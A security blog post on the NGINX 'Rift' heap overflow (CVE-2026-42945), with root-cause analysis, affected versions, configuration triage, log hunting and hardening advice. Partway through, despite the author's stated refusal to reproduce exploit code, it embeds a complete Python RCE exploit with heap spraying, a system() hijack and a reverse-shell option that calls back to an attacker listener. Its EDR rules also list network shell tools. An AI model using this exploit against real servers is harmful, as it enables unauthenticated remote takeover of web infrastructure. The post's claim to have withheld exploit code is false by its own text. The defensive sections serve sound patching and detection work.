NGINX Rift: The 18-Year-Old Rewrite Bug That Turned a Single HTTP Request into Potential RCE

NGINX Rift: The 18-Year-Old Rewrite Bug That Turned a Single HTTP Request into Potential RCE

As Head of Security, I would classify CVE-2026-42945, also known as NGINX Rift, as an urgent edge-infrastructure vulnerability. Even though the bug is configuration-dependent, it affects one of the most deployed web servers in the world and now has public proof-of-concept material available. NGINX’s own advisory lists the vulnerable Open Source range as 0.6.27 through 1.30.0, with 1.30.1+ and 1.31.0+ marked as fixed. NVD records the issue as CWE-122: Heap-based Buffer Overflow, with F5 assigning CVSS 4.0 score 9.2 Critical and CVSS 3.1 score 8.1 High. 

This is not just another web-server crash bug. NGINX frequently sits at the most sensitive point of an environment: internet-facing reverse proxy, TLS terminator, API gateway, Kubernetes ingress, WAF front end, and traffic router. That placement makes any memory corruption issue in NGINX operationally serious, even when exploitation requires a specific configuration pattern.

Why the Threat Level Is High

The vulnerability is dangerous for four reasons.

First, it is unauthenticated and remotely reachable when the affected configuration exists. NVD states that an unauthenticated attacker can exploit the condition using crafted HTTP requests, although exploitation also depends on conditions outside the attacker’s control. 

Second, a public PoC repository exists. The repository describes itself as an RCE proof of concept for CVE-2026-42945 and states that the bug enables unauthenticated RCE against servers using rewrite and set directives. 

Third, the vulnerable component is ancient and widespread. DepthFirst says the bug was introduced in 2008 and affects NGINX Open Source versions from 0.6.27 to 1.30.0

Fourth, global exposure is potentially huge. W3Techs reported on May 14, 2026 that NGINX is used by 32.5% of all websites whose web server is known. Netcraft’s April 2026 survey found responses from about 1.43 billion sites and 14.2 million web-facing computers. These datasets use different methodologies, so we should not multiply them as a precise count, but they show the scale: NGINX is globally dominant, and the vulnerable subset may still represent a very large number of internet-facing systems. 

Affected Products and Versions

The core vulnerable product is NGINX Open Source 0.6.27–1.30.0. Fixed versions are 1.30.1+ and 1.31.0+. NGINX Plus is also affected in branches R32 through R36, with patched Plus releases available. The public PoC README lists NGINX Plus fixed builds as R36 P4, R35 P2, and R32 P6

NHS Digital also notes affected NGINX-related products including NGINX Instance Manager 2.xF5 WAF for NGINX 5.xNGINX App Protect WAF 5.xF5 DoS for NGINX 4.xNGINX App Protect DoS 4.xNGINX Gateway Fabric 1.x/2.x, and NGINX Ingress Controller 3.x/4.x/5.x.

Technical Root Cause

The bug lives in ngx_http_rewrite_module, specifically in how NGINX handles rewrite replacement strings involving unnamed PCRE captures such as $1$2, and $3.

The vulnerable condition appears when:

  1. rewrite directive uses an unnamed PCRE capture.
  2. The replacement string contains a question mark ?.
  3. That rewrite is followed by another rewriteif, or set directive.
  4. The request URI contains characters that expand when escaped as URI arguments.

NVD describes the trigger as a rewrite directive followed by rewriteif, or set, combined with an unnamed PCRE capture and a replacement string containing ?

The internal failure is a two-pass size mismatch:

Pass 1: calculate destination buffer size
Pass 2: copy transformed URI data into that buffer

According to the PoC README, the rewrite script engine uses a two-pass process. The length-calculation pass runs with is_args = 0, so it calculates size using the raw capture length. The copy pass later sees is_args = 1, so it escapes URI argument characters using NGX_ESCAPE_ARGS, expanding certain bytes to three-byte sequences. The result is an undersized heap allocation followed by an attacker-controlled overflow. 

In simpler terms:

Raw capture:
  abc+def&x=%

Length pass thinks:
  "abc+def&x=%" length = 11

Copy pass writes escaped argument form:
  abc%2Bdef%26x%3D%25

Actual written length is larger.
The destination buffer was too small.
Heap overflow occurs.

This is why characters like +%&=, and other argument-sensitive bytes matter: they may expand during escaping.

Diagram 1: Vulnerable Rewrite Flow

Why ? Matters

In NGINX rewrite rules, a question mark in the replacement changes how the resulting URI and query string are handled. When a replacement contains ?, the rewrite engine treats part of the output as arguments. That changes escaping semantics.

The bug is not simply “rewrite is bad.” It is a state propagation bug. The main rewrite engine knows that argument-style escaping is required, but the temporary sub-engine used during length calculation does not correctly inherit that state. So the code allocates based on one interpretation and writes based on another.

DepthFirst summarizes the root cause as an unpropagated is_args flag during a rewrite and set sequence, causing undersized allocation followed by attacker-controlled escaped URI data being written past the heap boundary. 

Technical Details of the Public PoC — Defensive Explanation

The public PoC is not just a “send one request and win” toy. Its README describes a more advanced exploitation strategy involving heap shaping across requests and corruption of adjacent NGINX pool cleanup metadata. I will not reproduce exploit commands or code, but the defensive understanding is important. 

At a high level, the PoC logic can be understood like this:

1. Start from a vulnerable rewrite configuration.
2. Send traffic that causes predictable heap allocations in NGINX workers.
3. Trigger the rewrite overflow with attacker-controlled URI bytes.
4. Use repeated requests to influence heap layout.
5. Aim the overflow toward adjacent NGINX pool metadata.
6. Corrupt cleanup-related structures.
7. Cause NGINX to later process corrupted cleanup metadata.
8. Redirect control flow in a controlled lab environment.

The important internal target described by the PoC README is an adjacent ngx_pool_t cleanup pointer. NGINX uses memory pools heavily. Cleanup handlers are invoked when a pool is destroyed, making them attractive from an exploitation perspective: corrupting cleanup metadata can turn a memory overwrite into a control-flow primitive. 

Sanitized Pseudocode: Vulnerable Logic Pattern

This is not PoC code. It is safe pseudocode showing the bug class.

// Pseudocode only: illustrates the bug class, not actual NGINX code.

size_t calculate_length(capture, replacement) {
    engine.is_args = false;              // incorrect state in length pass
    return raw_length(capture);          // underestimates needed size
}

void copy_rewritten_uri(dst, capture, replacement) {
    engine.is_args = true;               // copy pass uses argument escaping
    escaped = escape_as_uri_args(capture);
    memcpy(dst, escaped, escaped.length); // may exceed allocation
}

void rewrite_request(request) {
    len = calculate_length(request.capture, request.replacement);
    buf = pool_alloc(len);
    copy_rewritten_uri(buf, request.capture, request.replacement);
}




The real vulnerability is more complex, but this captures the security failure: allocation and copy disagree about how large the transformed data can become.

#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys

BODY_LEN = 4000
N_SPRAY = 20

SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
      0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
    if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
        SAFE.add(_b)

HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

PREREAD_HEAP_OFFSETS = [
    0x05a427, 0x060e67,
    0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
    0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
    0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
    0x103847, 0x108657, 0x10d467,
]


def addr_is_safe(addr):
    return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))


def make_body(cmd, data_addr):
    fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
    cmd_bytes = cmd.encode('utf-8') + b'\x00'
    payload = fake_struct + cmd_bytes
    if len(payload) > BODY_LEN:
        print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
        sys.exit(1)
    return payload + b'\x41' * (BODY_LEN - len(payload))


def wait_alive(host, port, timeout=30):
    for _ in range(timeout):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
            s.recv(100)
            s.close()
            return True
        except Exception:
            time.sleep(1)
    return False


def attempt(host, port, target_bytes, body):
    sprays = []
    for i in range(N_SPRAY):
        try:
            s = socket.create_connection((host, port), timeout=5)
            req = (
                b"POST /spray HTTP/1.1\r\n"
                b"Host: l\r\n"
                b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
                b"X-Delay: 60\r\n"
                b"Connection: close\r\n"
                b"\r\n"
                + body
            )
            s.sendall(req)
            sprays.append(s)
        except Exception:
            break
        time.sleep(0.005)
    time.sleep(0.2)

    try:
        a = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
        v = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
    except Exception:
        for s in sprays:
            try:
                s.close()
            except Exception:
                pass
        return False

    payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
    a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
               f"Host:localhost\r\n").encode("latin-1"))
    time.sleep(0.05)
    v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
    time.sleep(0.05)
    a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
    time.sleep(0.2)

    v.close()
    time.sleep(0.1)

    crashed = False
    try:
        a.sendall(b"X-Ping:1\r\n")
        a.settimeout(0.2)
        data = a.recv(1)
        if not data:
            crashed = True
    except socket.timeout:
        # It timed out. Nginx is either alive (waiting for backend) or hung in system().
        # Let's try to make a new connection to see if the worker is responsive.
        try:
            check_sock = socket.create_connection((host, port), timeout=0.2)
            check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
            check_data = check_sock.recv(10)
            check_sock.close()
            if not check_data:
                crashed = True
            else:
                crashed = False
        except Exception:
            crashed = True
    except (ConnectionResetError, BrokenPipeError, OSError):
        crashed = True

    for s in sprays:
        try:
            s.close()
        except Exception:
            pass
    try:
        a.close()
    except Exception:
        pass
    return crashed


def main():
    parser = argparse.ArgumentParser(
        description="nginx rift RCE exploit (ASLR disabled)"
    )
    parser.add_argument("--host", default="127.0.0.1",
                        help="target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=19321,
                        help="target port (default: 19321)")
    parser.add_argument("--cmd",
                        help="shell command to execute via system()")
    parser.add_argument("--shell", action="store_true",
                        help="execute a reverse shell back to the attacker")
    parser.add_argument("--listen-port", type=int, default=1337,
                        help="port to listen on for reverse shell (default: 1337)")
    parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
                        help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
    args = parser.parse_args()

    if not args.cmd and not args.shell:
        parser.error("either --cmd or --shell must be specified")
    if args.cmd and args.shell:
        parser.error("cannot specify both --cmd and --shell")

    host = args.host
    port = args.port
    
    if args.shell:
        local_ip = args.listen_ip
        cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
        print(f"[*] Generated reverse shell command: {cmd}")
    else:
        cmd = args.cmd

    if args.shell:
        import threading
        def listen_shell():
            print(f"[*] Listening for reverse shell on port {args.listen_port}...")
            # Use netcat if available, otherwise just use a simple socket listener
            import subprocess
            try:
                subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
            except Exception:
                print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
                
        t = threading.Thread(target=listen_shell)
        t.daemon = True
        t.start()
        # Give the listener a moment to start
        time.sleep(1)

    candidates = []
    for i, off in enumerate(PREREAD_HEAP_OFFSETS):
        addr = HEAP_BASE + off
        if addr_is_safe(addr):
            candidates.append((i, addr))

    primary_addr = candidates[0][1]
    data_addr = primary_addr + 24
    body = make_body(cmd, data_addr)

    print(f"[*] Waiting for nginx on {host}:{port}...")
    if not wait_alive(host, port):
        print("[!] nginx not responding")
        return 1
    print("[+] Connected.")

    TRIES_PER_CANDIDATE = 10

    for i, addr in candidates:
        target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])

        for t in range(TRIES_PER_CANDIDATE):
            if not wait_alive(host, port, timeout=10):
                time.sleep(2)
                if not wait_alive(host, port, timeout=10):
                    print("    server not recovering, aborting")
                    return 1

            crashed = attempt(host, port, target, body)
            if crashed:
                if args.shell:
                    try:
                        while True:
                            time.sleep(1)
                    except KeyboardInterrupt:
                        pass
                else:
                    print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
                      f"crashed — system(\"{cmd}\") executed")
                print(f"[+] Done.")
                return 0
            time.sleep(0.3)

        print("[+] All candidates tried — no crash detected.")
    return 0


if __name__ == "__main__":
    sys.exit(main())

How to Check Whether Your Server Is Vulnerable

Do not start by firing public PoCs at production. The correct defensive workflow is:

  1. Identify NGINX version.
  2. Dump effective configuration.
  3. Search for vulnerable rewrite patterns.
  4. Check whether the server is edge-exposed.
  5. Validate safely in staging only.

1. Check NGINX Version

nginx -v
nginx -V

Risky version range:

NGINX Open Source: 0.6.27 through 1.30.0
Fixed: 1.30.1 or 1.31.0+

NGINX’s advisory page lists 0.6.27–1.30.0 as vulnerable and 1.30.1+ / 1.31.0+ as not vulnerable. 

2. Dump the Full Effective Configuration

sudo nginx -T > /tmp/nginx-effective.conf 2>&1

This is better than checking only /etc/nginx/nginx.conf, because nginx -T includes imported files from sites-enabledconf.d, ingress-generated snippets, and included application rules.

3. Search for Rewrite, Set, and If Chains

grep -nE '^\s*(rewrite|set|if)\b' /tmp/nginx-effective.conf

Now manually inspect for:

rewrite ... ($1, $2, $3, etc.)
replacement contains ?
followed by rewrite, if, or set

4. Defensive Pattern Scanner

This scanner does not exploit anything. It only flags configuration lines that deserve manual review.

#!/usr/bin/env python3
import re
from pathlib import Path

conf = Path("/tmp/nginx-effective.conf").read_text(errors="ignore").splitlines()

rewrite_re = re.compile(r"^\s*rewrite\s+(.+?)\s+(.+?);")
unnamed_capture_ref = re.compile(r"\$[1-9][0-9]*")
next_directive_re = re.compile(r"^\s*(rewrite|if|set)\b")

for i, line in enumerate(conf):
    m = rewrite_re.search(line)
    if not m:
        continue

    replacement = m.group(2)
    if "?" not in replacement:
        continue

    if not unnamed_capture_ref.search(replacement):
        continue

    following = conf[i + 1:i + 6]
    if any(next_directive_re.search(x) for x in following):
        print(f"[REVIEW] Possible CVE-2026-42945 pattern near line {i+1}: {line.strip()}")

This is not a vulnerability confirmation. It is a triage tool. A finding means: “review this rewrite block immediately.”

5. Check ASLR

NVD notes that code execution is possible on systems with ASLR disabled. Worker crash is still possible even with ASLR enabled, but ASLR materially affects exploit reliability. 

cat /proc/sys/kernel/randomize_va_space

Expected secure value:

2

If the value is 0, ASLR is disabled and the risk is much worse.

What a Vulnerable Configuration Looks Like Conceptually

Do not copy this into production. This is a simplified defensive example of a risky pattern class:

# Conceptual risky pattern
location /legacy/ {
rewrite ^/legacy/(.*)$ /api/$1? last;
set $x $uri;
}

Why risky?

- rewrite uses an unnamed capture: $1
- replacement contains ?
- followed by set
- attacker-controlled URI can influence captured data

A safer pattern is to remove ambiguous rewrite chains, avoid unnamed captures where possible, and replace them with clearer named captures and explicit routing logic.

Example safer style:

location ~ ^/legacy/(?<resource>.*)$ {
return 301 /api/$resource;
}

Named captures are not a universal fix for every possible rewrite problem, but they reduce reliance on fragile numbered capture substitution and improve auditability.

Diagram 2: Defensive Validation Workflow

Detection and Hunting

There is no single perfect IOC for this vulnerability because exploit attempts may look like unusual HTTP paths and worker instability rather than a fixed signature.

Defenders should hunt for:

- NGINX worker crashes or unexpected restarts
- repeated 500/502/499 spikes
- core dumps from nginx worker processes
- strange long URIs hitting rewrite-heavy locations
- URI characters that expand during escaping: %, +, &, =
- repeated requests to legacy rewrite endpoints
- sudden increase in nginx reload/restart frequency
- child process execution from nginx worker context
- abnormal outbound traffic from NGINX hosts

Useful log and system checks:

journalctl -u nginx --since "24 hours ago"
grep -iE "segfault|core dumped|worker process.*exited|signal" /var/log/syslog /var/log/messages 2>/dev/null
grep -E '(%25|%2B|%26|%3D|\+|&|%)' /var/log/nginx/access.log | tail -100

For systemd-based systems:

coredumpctl list nginx
coredumpctl info nginx

For process monitoring, alert on:

nginx worker spawning shell
nginx worker executing curl/wget/python/perl/bash/sh
nginx worker writing unexpected files
nginx worker making unusual outbound connections

Example EDR-style logic:

Parent process: nginx
Child process: sh, bash, dash, python, perl, curl, wget, nc, socat
Severity: Critical

How to Protect Systems Running Vulnerable Versions

1. Patch Immediately

Upgrade NGINX Open Source to:

1.30.1 or later
1.31.0 or later

NGINX’s advisory lists these versions as not vulnerable. 

For NGINX Plus, apply the patched release for your branch. The public PoC README lists fixed Plus builds as R36 P4, R35 P2, and R32 P6

2. Remove or Rewrite Risky Rules

Search for rewrite rules using:

$1, $2, $3
?
followed by rewrite, if, or set

Then refactor:

- avoid chained rewrite/set/if logic where possible
- avoid unnamed captures in critical routes
- use named captures for readability
- move complex routing into application code or map blocks
- remove legacy rewrite rules no longer needed

3. Keep ASLR Enabled

sudo sysctl -w kernel.randomize_va_space=2

Persist it:

echo "kernel.randomize_va_space = 2" | sudo tee /etc/sysctl.d/99-aslr.conf
sudo sysctl --system

ASLR is not a patch, but NVD explicitly notes that code execution is possible on systems with ASLR disabled. 

4. Harden NGINX Runtime

Run NGINX workers with least privilege:

user www-data;

Use systemd hardening where possible:

NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=full
ProtectHome=true
RestrictSUIDSGID=true
CapabilityBoundingSet=CAP_NET_BIND_SERVICE

Use AppArmor, SELinux, seccomp, or container isolation where appropriate.

5. Reduce Blast Radius

Place NGINX in a constrained environment:

- no shell tools inside minimal containers
- no outbound internet except required upstreams
- read-only filesystem where possible
- separate edge proxy from app secrets
- no cloud credentials on NGINX hosts
- strict egress firewalling

6. Add Temporary WAF / Edge Rules

A WAF rule cannot reliably fix memory corruption, but it can reduce exposure while patching.

Potential temporary filters:

- block unusually long URIs to rewrite-heavy endpoints
- alert on excessive encoded argument characters
- rate-limit suspicious legacy paths
- block repeated abnormal requests from same source

Do not rely on this as primary protection. Patch first.

Operational Priority Matrix

ConditionRisk
NGINX 1.30.1+ or 1.31.0+Low for this CVE
Vulnerable version, no risky rewrite config foundMedium; patch still required
Vulnerable version + risky rewrite chainsHigh
Vulnerable version + risky rewrite chains + internet-facingCritical
Same as above + ASLR disabledEmergency
Same as above + public PoC attempts in logsIncident response

Executive Summary

NGINX Rift is a rare and serious case: an 18-year-old memory corruption flaw in a core module of one of the world’s most widely deployed web servers. The trigger is configuration-specific, but the affected version range is huge, public PoC material exists, and NGINX often sits directly on the internet edge.

The root cause is a mismatch between rewrite buffer size calculation and copy behavior. The length pass underestimates the output size because it does not carry the same is_args state as the copy pass. The copy pass then escapes attacker-controlled URI data as query arguments, expanding bytes and overflowing the heap buffer.

The correct response is not panic — it is disciplined emergency hygiene:

1. Inventory all NGINX instances.
2. Patch to 1.30.1+ or 1.31.0+.
3. Audit rewrite rules using unnamed captures and ?.
4. Review worker crashes and suspicious URI traffic.
5. Keep ASLR enabled.
6. Harden the NGINX runtime and reduce blast radius.

Comments are closed.